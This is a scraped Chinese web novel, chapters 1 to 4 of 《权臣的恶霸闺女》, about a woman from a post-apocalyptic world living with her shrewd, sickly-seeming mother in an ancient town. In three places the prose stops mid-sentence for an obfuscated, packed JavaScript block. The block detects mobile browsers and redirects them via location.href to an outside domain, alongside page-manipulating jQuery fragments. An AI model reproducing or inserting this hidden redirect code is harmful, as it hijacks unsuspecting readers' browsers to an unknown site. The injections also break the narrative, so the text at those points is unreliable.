《权臣的恶霸闺女》 1. 第 1 章 林溪镇是远近闻名的富裕镇,这里林水环绕,即便是最干旱闹荒灾的时候,镇上的河流也不曾干过 前朝末端,本县县令联合左右十六个州县,修建水渠,温蕴着周围万里荒地,带领当地百姓开荒开渠,百姓日子逐渐富裕了起来,赶上好时候的那一批本地百姓,名下多多少少都有几亩良田 大家伙日子都好,大地主便少了不少,多是百亩良田的小地主,大家遵纪守法,为人和善 “平日和和气气……” 车水马龙的宽阔街道上,身着青色布衣的中年男人佝着肩膀,正热情地给旁边的人说着他们林溪镇的历史底蕴,夸着他们这山美人和 突然一阵咒骂声传来,打断他的自卖自夸 “宋家的,赶紧给老娘滚出来,挨千刀的混蛋玩意儿,别人怕你老娘可不怕,有本事打人有本事滚出来,我家娇娇马上要说亲了,你把她脸打伤……” 林镇长脸上笑容僵住,听着耳边的污言秽语,他甚至都不敢转头去看旁边锦衣公子的脸色 他们林溪镇以林为主,走在街道上就是随便扔块石头,砸下去的都是林家人 林镇长当了二十来年镇长了,对于本家的人,那是上到九十太爷,下到两岁毛孩,甚至连街道上出现几条黄狗,他都能分得清谁是谁家的,更别说那边正在骂人的还是他三弟妹梅花 亲弟妹的那种 这弟妹娘家条件好,又对他们林家有恩,她嫁过来后也颇为蛮横,除了家族里几个长辈能人,那是谁都不放在眼里,在镇上作威作福惯了 这平日也就算了,现在闹到外人面前了 林镇长僵着嘴脸,颤颤巍巍给镇子挽尊:“镇上人多,免不了有些小矛小盾,妇人家家的,看着碍眼,宋先生不如先和我去书院看看?” 他口中的宋先生白衣翩翩,手中纸扇一合,笑得风流倜傥:“姑娘家脸面何其重要,我看这位大姐焦急情有可原,不如先看看怎么个回事,若有什么,镇长也说个公道?” 林镇长笑得很是勉强,心意他领了,但是事实吧,自家人懂自家事,这内里还真说不好是个怎么回事。 可是宋先生是从京都来的名师,过来他们这边是想找好苗子带回书院,林镇长那大孙子正读着书,马上要考秀才了,他还盼着宋先生提点一下,自然不会去驳了他的面子 林镇长只能臊着脸皮陪他站在一边,听着那三弟妹从娘啊爹啊,到屎啊屙的,一张老脸通红 倒是那宋先生面色不变,笑得风流翩翩,听得津津有味 梅花可不知道自己找茬被家里大哥看到了,不过就是被看到了她也无所谓,她娘家家底殷实,自己又有五个孩子傍身,只要不是犯了大事,那谁拿她也没办法 她平日吃好喝好,日子悠闲,整个人白里透红,底下最小的孩子还没断奶,胸前鼓鼓囊囊,随着她说话扭动轻晃。因此,即便她站在那红漆金边的木门下,眉眼横飞,大张嘴皮,泼辣又蛮横,不少人的视线也总要飘忽两下 宋先生也不例外,他站在那边看着这一把年纪依旧颇有颜色的大姐,心里感叹-这小小的村子倒是水美人美,各有风采 思及,想到自己两年没变化的后院,他心思一动,等这次任务顺利完成 梅花不等他想,很不耐烦地伸手砸门,声音响亮而有穿透力,就跟那锣鼓似的打在人心头 “牛铁兰,你有本事养女儿,你有本事开门啊,快开门啊,再在不开门我砸门了” 也打散来宋先生的遐想 他明显想到了什么,大热天下打了个寒颤,脸上的风流之意淡去,他不着痕迹地搓了搓手臂,再看那边的热闹也没了兴趣,正要开口回到正事上 “吱呀”一声,只见那一直紧闭的房门打开 身着柳纹青衣的年轻女人走了出来,她皮肤白腻如玉,柳眉杏眸,翘鼻润唇,步伐窈窈,身段纤细,像是从画中走出来的人,衬得四周淡然无色,让人想要细看,却又不敢轻易亵渎 她看着门口咒骂的人,轻蹙眉头,左手轻扶旁边小丫鬟,抬脚踏过门槛,走动间轻薄的衣袂晃动,手腕苍白而纤细,仿若轻轻用力便会断掉一般,配着苍白的脸色,更让人不由心生怜爱。 孰是孰非,不用细说,围观众人便有了判断 梅花看着那些本来聚集在自己身上的目光挪开,再回来变成谴责,更是怒火中烧,恨不得对着面前的狐狸精就是一巴掌 想她梅花从小走哪屁股后面都是一堆人,就是嫁入镇上,那也是最惹眼的那个,走到哪都是风光无限,是别人眼中的大美人儿 可惜这样的日子没坚持两年,面前的贱人就搬了过来,仗着一副好皮子勾搭着族中人落了籍,夺走了她的风头,还不识好歹地拒绝了她哥,现在还伤了她孩子 新仇旧恨一起 梅花扯着嗓子:“牛铁兰,你总算是出来,你看你家宋锦干的好事,你看看我家娇娇,她下个月就要说亲了,现在脸伤成这样,这事情不给我个交代咱们没完” 女人,也就是牛铁兰眉头紧蹙,在梅花的骂骂咧咧下,她挪眼看向一旁的受害者娇娇。 不同于丰腴白皙的亲娘,娇娇随了她爹,皮肤有些黑,人也干瘦,说不上多好看,但是到底是未成婚的小姑娘,马上十五了,正是找对象的关键时候,脸上留痕是大事 牛铁兰虽然不喜总是找茬的梅花,但是对小姑娘没什么意见,带着些担忧地看过去,沉默半晌,睁大眼睛仔细打量 她左看右看,上看下看,总算在林娇娇那圆圆的脸上,准确点是在下巴尖尖往下一点看到了指甲盖一般大小的破皮 这要不是林娇娇努力高高抬着短短的脖子,还真看不出来 牛铁兰无言以为 鉴于自家那小混球从小到大的不靠谱,一开始被喊出来的时候,她还是有那么些心虚和担忧的,但是现在 “我这身子一直不好,前两天又患了风寒,眼睛也看不太清楚,宋锦一大早就进山给我找草药去了。我还说她这段时间懂事了些,没想到”牛铁兰捂嘴轻咳两声,一脸虚弱地唉声叹气,关心地看向林娇娇 “娇娇快过来婶子好好看看,我这眼神不好,离远了还真看不清” 凑热闹的宋先生失笑 可不是嘛,闹那么大阵仗,结果就那点伤口,但凡来晚了点都愈合了 可是梅花不这么觉得,她家闺女是要嫁进大户人家的,脸上别说指甲盖大小了,就是芝麻大小也不行,她拉着人上前一步,气道 “睁大你的狗眼看看,这么大一块,娇娇后面还怎么说亲?我家可是和县城张家说好了,这要是影响了亲事怎么办?我要求也不高,就来个一两银子养养身子,再送一瓶祛痕膏,让你家宋锦过来道歉,我就勉勉强强原谅你们” 宋先生不是什么不食烟火的公子哥,他是苦日子里走出来的,听到这眉头一挑 不说一两银子能买三四只大肥鸡,就说那祛痕膏,如果是他知道的那个的话,一直是有价无市,就是京城那些个小姐都是排着队买的 小毛孩巴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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林镇长:“我看个屁,她上次被大鹅啄都比这深,你怎么不去找大鹅算账?还祛痕膏,你还是祛祛你的厚脸皮,赶紧带着人回去” 梅花不服气:“二哥你就知道帮这外人,我看你是二嫂走了老房子着火,呸,看上这狐狸精了” 林镇长:“你你你,你个混账玩意儿” 就在两人争吵之际,一边的牛铁兰脸色却是越来越白,咳嗽渐深,一张白手绢染上了红意 进去拿祛痕膏的小眉一出来焦急:“夫人夫人,你怎么了?哎呀,你怎么吐血了,大夫,快找大夫来” 现场瞬间一阵兵荒马乱 等到恢复平静,天色已经昏黄 微光透过厚重木窗照进屋子,精美的凤竹梳妆台,宽大的狮虎木箱,晃动的云纹摇床,透过细薄的纱帐人影若隐若现,时不时传出轻咳声 牛铁兰躺在床上,捂脸色苍白,听着外面说话声渐熄,她的咳嗽声也渐渐熄灭,一直到房门吱呀打开,小丫鬟小心翼翼的声音传来 “夫人,客人都走了” 听到这,‘虚弱’的牛铁兰一个鲤鱼打滚,利索下床,她一边拢着衣服一边噔噔噔往外 打开房门,家里大小丫鬟小厮低着脑袋站在一边,其中一个神色格外闪烁,脑袋都快压到地底去了 牛铁兰瞬间锁定人,伸手指着人,狰狞一笑,从牙缝中一字一字:“叫那小混蛋给老娘滚回来” 2. 第 2 章 林溪镇位于泗安县最南边的位置,这里是两界分割之地,往北是宽阔平原,往南大小河溪山岭不断,小山连着小山,连着连着就成了大山 盘龙山便是其中最为出名的那一座,因其形像盘旋的长龙而得名。 山中物资丰富,林木药草花卉野物比比皆是,但是除去世代的猎户人家,寻常人不敢上山 因为,山林的野物除了野鸡野鸭之外,野猪、毒蛇、豹子,甚至大虫黑熊也不在少数,每年都会有进山死亡的消息传出,年荒不好的时候还有野兽下山放肆,使得山附近的人一搬再搬 林溪镇是没有这个烦恼的,从镇上到山脚得十里路,上盘龙得二十里去了,全是连绵的山坡,顶上野兽再是捣乱也乱不到他们这来 不过野兽不来,人可以来嘛 盘龙山深处,近百米高的古树之上 宋锦屈坐在树干之间,她身着深绿衣裳,衣料简洁修身,单衣长裤,手腕裤脚处用布条紧捆,腰间是长刀匕首,手中长弓紧绷,深黑铁箭凛凛,一如她那双藏于蓝绿花脸下的凤眸 伴随着一声呦鸣,利箭破空,避开沿途枝叶,精准穿过底下啃食的梅花鹿脖颈,随着它一同倒下 刹时,底下鹿群来不及交流便四散开来,奔跑声哀叫声又惊扰了树间歇息的鸦雀,原本安静的山林瞬间热闹了起来 “呦~” “扑哧扑哧” “吼” …… 宋锦立于树间,对此场景习以为常,打个哈欠间,她一手利落抓住扑哧飞过的野鸟,直接扭断其脖子,背好长弓,朝着树下爬去 这么一场惊动,附近野物都跑得差不多了,她淡定地穿梭在杂草林间,打算去捡回鹿尸 鹿血鹿心鹿茸都是好东西,她老娘身体不好,就需要这些补一补 鹿肉太多吃不完,可以弄成肉条放着,鹿皮硝一下,不管是留着放家里还是拿出去售卖都是好东西,鹿骨头泡酒磨入药…… 从末日艰苦环境中来的宋锦争取做到不浪费一厘一毫 毕竟,现在可是古代啊。别看她们现在日子平静,镇子的人都能吃饱喝足,但是生产力低下,王权当道,律法不完整,谁知道什么时候上头变了想法,又弄出一堆苛捐杂税,外面又跟着动荡 宋锦时刻保持警惕心,家里的粮仓囤得满满的,她还是小老鼠一般在其他地方囤满了东西 虽然好些都喂野鸟松鼠豺狼了,但是光是想想自己的家底,宋锦脸上不由露出笑容,步子也轻快了许多 她走在林间,脚底是枯枝的断裂声,左右是衣物擦过枝叶的窸窣的响声,声音不大,但是总会遮住一些更为细小的痕迹 有什么东西悄然接近 宋锦已经走到了那梅花鹿的旁边,这鹿群她追踪了一天了,特意挑了一只有些年份的大鹿,足有近三百斤,凭借她一个人,回到家得明天了 那可不行,她家有宵禁的 宋锦早有准备,找出提前放好的背篓,从里面掏出陶罐,对着鹿脖一割,鲜血汩汩流入罐中 鹿血装罐,鹿茸放袋,鹿肉切条,鹿鞭收好…… 至于又重又难带的鹿头骨架 正在熟练剥皮的宋锦扬了扬唇角,她抬起手肘擦了擦细汗,手间鲜腻腥甜鹿血顺着手腕流下,落在土地上 周围的呼吸也急促了几分 宋锦安静了几秒,紧接着一个打滚移到一边,下一秒便有东西扑了过来,她不急不慢又是一个后翻,熟练拧住扑来的长绒,反客为主将其按到在地,随即反着寒光的刀尖向上,带着细微的刺痛,只差一厘便能穿破厚实的皮毛 “咪~” 嚣张凶猛的来物僵硬一瞬,随即软了身子,露出软软的肚皮,发出粘人的娇声 宋锦挑挑眉头,心满意足地收回长刀,伸出手重重揉着面前的大老虎脑袋,又捏上捏下检查一下,确定没有短胳膊短腿了,这才放下心来,站起来过去把剩下的鹿脑袋鹿腿这些分给它 “黄黄,这些我带不回去,你留着吃” 金黄的大老虎翻身起来,踩着步子走到宋锦旁边蹭蹭,又跟着咪了两声,粘人得很 宋锦十岁那年进山捡了黄黄,它生下来体弱被虎妈妈抛弃了,是宋锦一点点想法子养活的。不过老虎到底吓人,等它长大一些了就被其放回山里,宋锦就每天进山打猎投喂训虎闺女,直到黄黄从一只怂虎崽子长成货真价实的山霸主 对于黄黄来说,这山就是自家地,宋锦是没毛亲妈,可以随意撒娇 宋锦习以为常,蹲坐在那里分解着鹿,时不时划几条肉和骨头喂给黄黄,等到弄好了,太阳已经快落下去了 “完蛋” 宋锦手忙脚乱地把东西放好,然后揉了揉黄黄的大脑袋,感叹:“都怪你,要不是你逗我,我肯定早就回去了” 黄黄睁大圆滚滚的金眼睛:“咪?” 宋锦挑眉:“别撒娇,你已经长大了,快去把东西带窝里去,我过两天来收骨头” 黄黄听不懂话,不过能看懂宋锦的意思,知道她要走了,蹭蹭人,乖乖过去咬住鹿骨架,不浪费一点 有其‘母’必有其‘女’ 节俭宋锦可带不出浪费老虎咧 宋锦背起背篼,也不管虎听不听得懂,语重心长地嘱咐:“最近山里不平静,你别到处乱跑,有时间我会过来的” 黄黄歪头:“咪?” 金黄的大老虎小时候就是个小娇娇,即便现在已经多大一坨了,一口能咬两个人,还是喜欢对着‘亲娘’撒娇 宋锦忍不住又揉揉自家的虎闺女,眼看着再不回去真晚了,这才背着上百斤的大背篓,利落走在山林间,翻山跨坡跳树,像是行走在平地一般 无他,唯手熟尔 在宋锦上辈子生存的末日,到处都是天灾人祸,变异动植物更是成堆,末日中出生的她从小就跟着训练,十岁跟着出任务,二十岁成了营地十二队长,二十五岁 穿到了这里,一个不知名的古代 山好、水好,没有一口咬掉一个脑袋的食人花,也没有会放毒刺的鱼,更没有三两天长大拆家的变异植物和堪比军队的异兽大军 她只有那有房、有车、有地、有存款有颜,还死了丈夫的老娘一个,和资源丰富就跟后花园一般的大山 宋锦毫不犹豫地就选择了躺平,每日除了练功,就是逗逗猫溜溜狗 这小日子过得别提多舒坦了,衬得上辈子除了训练就出任务就是做任务最后被累死的她像个傻子 想到那些往事,宋锦忍不住擦了擦不存在的辛酸泪,飞快地朝着山下走去 正常来说,想要从盘龙山去林溪镇,要从一边大桉村下山,然后绕路六十里的路过去,但是她的话,直接穿过两片山林,慢点两个时辰,快一点一个时辰 宋锦今天背的东西不算多,正常来说一个半时辰就该到家了,这个时间点回去,吃个饭哄哄老娘也差不多 但是偏偏,快到山脚的时候她被人堵住了 其实也不是堵她,不过这几个人行迹诡异,一看就不是什么干好事的,宋锦不想和人直接对上,只往树上一爬,避免和这些人面对面 现在夜色已深,林间仅有月色浅淡,高大的树木枝叶繁茂,很好地遮挡了她蜷着的身形 不管是上辈子还是现在,宋锦都是高个头,只不过上辈子的普通高五尺二,在这辈子变成了特别高,甚至眼看着还会长 宋锦就多次看到自家老娘对着她的脑袋唉声叹气,前两年还有过偷进她的房间拍她脑袋试图给她拍矮点的鬼祟行迹 想到这,宋锦在心里轻哼一声,目光落在了底下最中间的人身上 太高了 这是她穿过来以后见到最高的人了,比她高了四寸有余,却没有普遍高个子驼背的通病,站在那里就跟修竹一般笔挺,却又是长在寒潭边的冷竹,凌厉凛冽,很有攻击力 不简单啊< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025825|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>宋锦蹙着眉头,目光从凛冽男人那张俊脸上挪开,落到他旁边略微花哨的风流男人身上 腰间的羊脂白玉花纹复杂,不下百两 衣服是天蚕丝云锦,也不下百两 就连手上的纸扇也是丰裕商行的标,起码值十两银子 …… 这人一身下来,那就是行走的钱庄,来历绝对不简单。而就这么一个颇有来头的人,从说话态度上来看,身份还不如旁边的冷竹子 有问题啊 他们林溪镇这两年虽然说发展很好,出了几种颇有名气的产物,能赚些银两,但是也只是相对于镇上而言,对于县里州府不算什么 而去掉这些,若说还有什么值得外面注意的 宋锦心中一紧,她眼神微眯,贴在树上一动不动,静静地看着他们继续朝着山里搜索走去,一直到看不到一点儿身影,还是一动不动 过了好一会儿,那边传来窸窸窣窣的说话声,确定这边没了动静,他们才再次离开,很是谨慎 而宋锦也是确定安全了,这才跳下树,非常谨慎地绕了个方向,从另一边小跑着迅速回家 只希望这些人不要牵连到附近村落,这边的人,大部分还是普通人 不过真要是牵连了,她一个地地道道的小地主崽子也干不了啥 现在最重要的是 回家 宋锦一路鬼祟地回到了林溪镇,他们家在镇南边,就在镇上主街这头,平日人来人往,热热闹闹,就是到了晚上,也隔段时间就有专门的巡逻队巡查,对于正经的人来说很是安全 对于宋锦来说嘛 “嘘嘘嘘” 今天日子没选好,一回来就撞上了这群巡逻的人,宋锦心都提了起来,赶紧打断他们的吆喝 “是我是我”她走了上去,鬼鬼祟祟哈着声音,“夜深了,别吵着大家睡觉,年纪大的老年人睡眠不好了,我们要为她们多想一想” 巡逻队的众人:…… 这话谁信谁是小狗 宋锦穿的奇奇怪怪,背着大包小包,但也不怕被他们看。她放下背篓,从里面挑了一块两斤重的鹿肉递过去,嘻嘻哈哈和几人称兄道弟 “来来来,兄弟几个巡逻辛苦了,一会儿结束了去烤点吃补一补,我娘年纪大了,大家伙路过这边的时候都轻点哈” 巡逻的六人,最大的三十,最小的不过十五,不是和宋锦一起长大就是看着她长大的,对她没个姑娘家正形的样子有些无奈 队长是他们家隔壁的大哥哥,他看着鹿肉皱起了眉:“又跑深林子去了?那里面野兽多,你别仗着身手好就不当回事,婶子身体不好,万一你有个三长两短” 宋锦哎哟:“好困啊好困啊,小福哥你们继续继续,我先回去了” 说着,她装模作样地打起了哈欠,拎起重重的背篼朝着家里跑去 里面上了锁,她直接翻墙,两米高的高墙在她眼里就跟篱笆似的 巡逻队的众人虽然不是第一次见了,但是还是忍不住感叹 “牛婶子那么柔弱的人,是怎么生出这么个猴头的啊” “猴头也是镶金子的那种,瞧瞧,随随便便就是鹿肉,严老二以后有福了” “福?这福是你敢不敢要?” “哈哈哈别开玩笑了” …… 宋锦不知道他们背后说的闲话,也不在意这些话,她小心翼翼地翻过墙,对着里面密密麻麻的人群 “……” 宋锦也不遮掩了,利落地跳下墙,在里面的人开口前,毫不犹豫地砰一下五体投地,对着面无表情的老母亲就是两个磕头,嘻嘻哈哈 “阿娘晚上好,阿娘晚安,阿娘明个见” 说完她一个窜起跑回房间,走得那叫一个突然 守株待兔的牛铁兰都还没反应过来,自家的熊孩子就消失没影了,好一会儿,反应过来的她直接气笑 “宋锦你个小混球” 3. 第 3 章 小混球好,小混球棒,小混球亲昵又暖心 比起上辈子双亲永远生疏又畏惧的宋队长,小混球这个称呼简直不要太让人喜欢了 宋锦早就习惯亲娘的暴躁,在她的怒吼下,眼睛一闭,没两下就呼呼睡去,等到再次醒来,棉纱窗纸透着微光,房前的桃树枝影打在上面,在蝉虫飞鸟的叫声中,随着微风浮动摇晃 外面脚步轻轻,小丫鬟例行每日的清扫洗煮 家底殷实的地主家里,少不了有几个丫鬟小厮,牛家也不例外 短工不说,光是长工,他们家有带契的小丫鬟小厮四个,分别是靠谱稳重的小眉和少了半只耳朵的小耳,大力呆傻的阿茂和瘸腿六指的小多 四个人凑不出两个正常人 宋锦打着哈欠从床上起来,零散的发丝乱乱糟糟,头上顶着的发丸摇摇晃晃,眼看着随时就要散掉,她随手拆了头发,打开窗户探出身子 “小眉小眉,帮我烧个水,我要沐浴” 昨天回来太晚了,又有亲娘虎视眈眈,她懒得洗漱,捆了头发,换了睡衣将就着睡去。现在醒来黏黏糊糊的,好日子过久了的宋锦忍不了了 哎,还是这里好,他们那个时候哪有这种条件啊 烧水洗澡?直接水里滚吧,运气好还能和变异鱼打个架,至于感冒,死不了就往死里造,想想又是辛酸泪 小眉作为家里的顶梁柱,很是沉稳靠谱,她笑:“热水已经烧好了倒浴桶了,沐浴刚刚好,里面按着夫人吩咐加了草药,小姐多泡一会儿松松筋骨” 宋锦缩了缩脖子:“我娘起来了?她干什么去了?没在柴房挑棍子吧?” 小眉扑哧一笑:“哪儿能啊,小姐你辛辛苦苦打了鹿回来,夫人生怕糟蹋了好东西,连夜带着小耳把鹿肉腌好挂着,天不亮就去了硝皮子的老杨家,心情好着呢” 听罢,宋锦放下心来,很快就又得意洋洋了起来:“我就说吧,我娘啊,有我这么个孝顺闺女,她还不知道怎么偷着乐呢” 小眉:“那可不,夫人就小姐你这么一个孩子,不乐你乐谁?不过啊” 宋锦:“不过什么?” 小眉笑:“不过您要是再这样继续不动,等夫人回来看到这张花猫脸,那可说不准了” “……” 为了方便打猎,宋锦进山都是穿的绿色灰色蓝色这类颜色,就连脸上也是揉了叶子染了色。昨晚回来前她在路上已经洗了一遍,夜色中倒是看不出什么,现在天亮了,那真是深深浅浅乱七八糟 宋锦不贫嘴了,单手撑着窗子从房间里窜了出来,朝着浴室火急火燎跑去,争取在牛铁兰回来前收拾好了,还她一个白白净净的闺女 ** 牛铁兰不是第一次来老杨家了 老杨家以前是山里的猎户,每天风餐露宿,看着运气吃饭,运气好的时候一头鹿够吃用几年,运气不好的时候,一条毒蛇便能去掉半条命 他就是因为那年被蛇咬了,耗了家底,截了半个脚掌,赶上这边修渠缺人,他顺势转了下来,跟着修水渠开荒,又有一手硝皮子的手艺,靠着这,这些年家里置办田产,修了房子,日子也好过了起来 不过那只是表面,内里,他家里供着个读书人,手头是恨不得一个铜板掰两半 对于牛铁兰这个大户的到来,老杨热烈欢迎:“这皮子我肯定给你弄得好好的,还是做全皮?” 在熟人面前,牛铁兰没有装样子,不过她身形纤细,皮肤白,什么都不做站在那里都是一副柔弱样,不过乍一开口,这种错觉便散去 牛铁兰漫不经心道:“两双鹿皮靴子,两个厚手套,两个披风,一个大点一个小点,再扎一个皮箱子,你算算要多少,不够的一会儿我让小多给你送过来” 说着,她又补充了具体尺寸 老杨有些惊讶:“做这么多,怎么,金金和小严的婚事谈好了?” 老杨虽然不当猎户了,但是到底在山里几十年,经验丰富得很,教了宋锦不少东西,也经常帮她们弄这些,对于母女俩的情况很了解 这尺寸,其中一个是宋锦的,另一个绝不是牛铁兰的,倒是体型大些的男人家的,他便由此猜测 对此,牛铁兰瞥他:“什么乱七八糟的,我怎么不知道有这门婚事?你可别乱说,污了金金的名声” 老杨险些被口水呛到 名声?什么名声?就这丫头还有名声? 是那种六岁单枪匹马差点拆了镇长家,八岁横劈野猪,十岁手扛猛虎,十五岁单杀劫匪的那种名声吗? 当然,这不是关键,关键是 “虽然没有明说,但是你两家的事大家都知道啊。当年老严生病要不是你出钱,人早就病死了,哪能有现在的风光?眼看着严盛那小子考了童生,院试一过考上秀才,你出了那么多钱和力,难不成真就是钱多了没地烧?” 老杨皱着眉头,很是不解 以前严家那个情况,牛铁兰凑上去忙前忙后,热心肠得很,现在人一家子起来了,马上翻身成官家了,她还淡了 真是个怪人 牛铁兰冷笑一声,也没解释什么,只是悠悠嫌弃:“你今天说的没一句我爱听的,就最后这句说对了,我是钱多了没地烧。我锅里还炖着鹿腿,先回去了,你好好硝皮子,算算料,没事少背地嚼舌根,净说些没影的屁话” 说完,她放下一边的鹿肉,扭头就走 老杨瞪着双眼,看看她和自家破旧房子一点不搭的窈窈背影,再看看自家媳妇儿,再看看人,还是不解 “这娘们,我怎么惹着她了?谁嚼舌根了?我说错了什么啊” 老杨媳妇给了他个白眼,没好气道:“赶紧干活吧,啥也不是” 老杨:“哎哎哎,什么又不是了,我可是一家之主,一家之主” 老杨媳妇:“行行行,一家之主,赶紧干活,你大儿子下个月束脩又要交了” 老杨:“什么我大儿的,那就不是你大儿了?” …… 夫妻俩十五岁便成了亲,到现在年过四十,二十几年的相伴,夫妻感情深着呢,就是最寻常的斗嘴,也带着十足的烟火气 那是普通夫妻间最寻常的打闹,牛铁兰远远地听着夫妻俩打闹的声音,脸上烦意渐祛,脸上扬起两分笑,又很快被冷色取代 寻常夫妻啊 太遥远的词了 牛铁兰这辈子是没法拥有了,所以她希望自家孩子可以过上这种日子 本来她看严家小子不错,长相端正性子温和,和金金又能玩在一起,他家里条件差点就差点,不说入赘,就是宋锦嫁过去另起炉灶也行 她是这个意思,严家也默认了这个意思,两家这些年带着这种默契来往,眼看着两个孩子都长大了,严家日子也有了起色 这原本算是好事情,奈何严家夫妻小人作态,日子刚好起来就抬起架子。若说这勉强算是人之常情,只是让牛铁兰有些不爽,那么他们话里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025826|162250||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话外贬低自家孩子的话就让她淡了接亲的心思 不过到底严家人是严家人,严盛是严盛,牛铁兰还是打算再给他一个机会,就看这过两日的院试后他能不能接住 接得住,小俩口和和美美,管他上头臭不要脸的老东西 接不住,她牛铁兰的闺女也犯不着去受那个孬气 但是牛铁兰气 越想越气,气得苍白的脸上都染上了红晕,走在路上,就跟那三月桃花似的,看得人直了眼 “铁兰,身体好些了没?” 牛铁兰的气被这声问候打散,她下意识捂着嘴咳嗽两声,抬眼看向从对面走过来的林镇长和宋行之 “好些了林镇长,您这么早就开始忙呢?” 林镇长打量她的脸色,见比昨天好些了才放下心来,真把人气出三长两短,他家房子才是要梅开二度,又成废墟咧 他笑:“这位是京城来的宋先生宋行之,过来选读书苗子的,也是不凑巧,严盛那小子进县书院去了,不然说不好入先生了眼,以后就进京读书了” 牛铁兰重重咳嗽两声,虚虚:“镇长这说的,我一个妇道人家哪里懂这些?不过金金在家,她和严盛那小子关系好,你去和她说说?说不得可以把人喊回来” 林镇长脸色一僵:“不了不了,我还要带宋先生四处看看,你这病还没好,就别出来吹风了,快回屋里歇着去” 牛铁兰再咳几下,虚弱地行了个礼和两人道别,然后晃着步伐走着 在她晃晃悠悠的时候,对面披散着湿发的宋锦蹦跶着跑了过来,明显是出来接娘亲的,但也说不好,万一是出来报仇的…… 林镇长脸色瞬间大变,拉着宋行之的手匆匆离开,一直走远了些才停下,后背还凉着呢 宋行之不知道林镇长的担心,他今天换了牡丹墨绿长袍,一头乌发束冠,手中折扇轻晃,就是被拉了一路,依旧风度翩翩,他嘴上念着诗文,风流雅致 “窈窕淑女,君子好逑……” 真不愧是京城来的,夸人就是不一样。不像他,想到刚才看到的人影,再想想当年旧事,林镇长擦了擦脑袋上的细汗,后怕唏嘘道 “宋先生,美人虽美,不可远观” 更不可亵渎啊 瞧瞧他家的房子,那缺了的大口子,就是当初被那小崽子拆的,现在小崽子长大了,杀伤力也翻了不知道几番 不过宋先生没听出他的后怕,只听出那声唏嘘,那得不到的懊恼 宋行之看了看林镇长皱巴巴的老脸,看着上面那小跑一截路就冒出的细汗,目光带上几分嫌弃 哎呀,这美人嘛,哪是随随便便谁都能得到的呢? 这老头看着老老实实的,怎么这么不要脸呢? 宋行之嫌弃完林镇长,再回头,远远看着牛铁兰模糊的身影,上次被压下去的心思又浮了起来,有些蠢蠢欲动了起来。 他这人长得风流,人也确实风流,好在他风流而不下流,这些事讲究你情我愿 但是怎么说呢 他年轻力壮,风度翩翩,小有家财,小有文化 这寡妇漂亮,很漂亮,非常漂亮 般配,哪哪都般配啊,就待他腾出手了 宋行之晃着手中扇子,眉眼带上自得,很快又被精光取代,他压下心思,转而继续和林镇长搭着话,不着痕迹地打探着镇子的情况 “林镇长,林溪镇前山后水,水陆便利,每日往来游商不少……” 4. 第 4 章 “阿娘,来,再吃点,吃完再喝两碗汤,我让小耳专门给您炖的,多喝点身体好……” 客厅里,母女二人坐在四尺圆桌上 桌上摆了五道菜,四菜一汤,最为贵重的便是中间的汤菜,鹿骨熬底,鹿肉为食,加以鹿茸、人参、枸杞、党参等药材,滋心养肾,放在外面是一汤难求 主汤丰富了,配菜就显得清淡不少,炒鹿肉、炒青菜、炒菌子和凉拌野菜 有鹿汤压底,就是对于大户人家也是难得地好菜了,偏偏有人还挑食,宋锦很是耐心地哄着人吃饭 “来,再来一口,哎,这鹿肉促火,野菜也来一口” 牛铁兰坐在对面,看着碗里满满的肉菜,只觉得腻得很 这菜对于外人难得,但是在她们家算是‘家常便饭’了,她这闺女天天不是山里就是山里,家里肉都挂了一屋子,她根本不缺吃的,而且吧 牛铁兰放下筷子,蹙起了眉,带着几分质问:“我不是说了不加药材吗?这个家我说的话还做不做得了主?” 宋锦半点不虚,又给自家老娘加了一片人参,语重心长道:“娘啊,乖,咱不挑食,身子要紧” 牛铁兰气:“你娘我是身子不好,不是病入膏肓,天天药药药,你不腻歪我都腻了,不吃,给我换了” 人参再是好,当顿吃也让人得火大得很 眼看着人耍赖不吃了,宋锦无奈地叹了叹气,就跟看小孩子一样得盯着她娘,盯着盯着,她自己妥协了 “行吧,那阿娘你把碗里的吃了,我让小耳把炖萝卜的端出来” 牛铁兰面无表情地看过来:“你是不是想撑死我好继承我的遗产?” 宋锦喊冤:“哪有那么夸张” 牛铁兰不语,只是一味地把碗里的肉夹出来,让自家老虎肚子一般的闺女解决剩菜 宋锦拿她没法:“够了够了,人参鹿茸你得吃啊” 牛铁兰:“吃个屁” …… 虽然只有两个人,但是母女俩也是吃得热热闹闹的 宋锦天生力气就比常人大,后面又一直训练着‘异能’,天天往山里面跑,胃口比起常人大多了,一桌子饭菜剩下的她全都包圆了,就连汤底,也就着白米饭扒拉干净 珍惜粮食的好传统不管在哪个年头都得保持 饭后,已经在外面吃好的小耳过来收拾桌子 母女俩吃饭不喜欢有人打搅,大部分时间都是两个人一起吃的 